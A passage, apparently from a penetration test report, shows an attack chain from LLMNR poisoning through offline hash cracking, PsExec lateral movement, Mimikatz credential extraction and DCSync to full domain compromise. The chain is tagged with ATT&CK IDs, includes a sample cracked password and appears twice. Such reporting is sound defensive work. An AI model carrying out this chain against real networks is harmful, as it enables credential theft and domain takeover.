(T1557.001)\n  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!\n  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)\n  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)\n  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)\n  Impact: Complete domain compromise from unauthenticated network

(T1557.001)\n  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!\n  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)\n  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)\n  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)\n  Impact: Complete domain compromise from unauthenticated network position\n```\n\n### Findings Severity Matrix\n\n| Finding | CVSS | MITRE ATT&CK | Remediation |\n|---------|------|---------------|-------------|\n| LLMNR\u002FNBT-NS poisoning | 8.1 | T1557.001 |
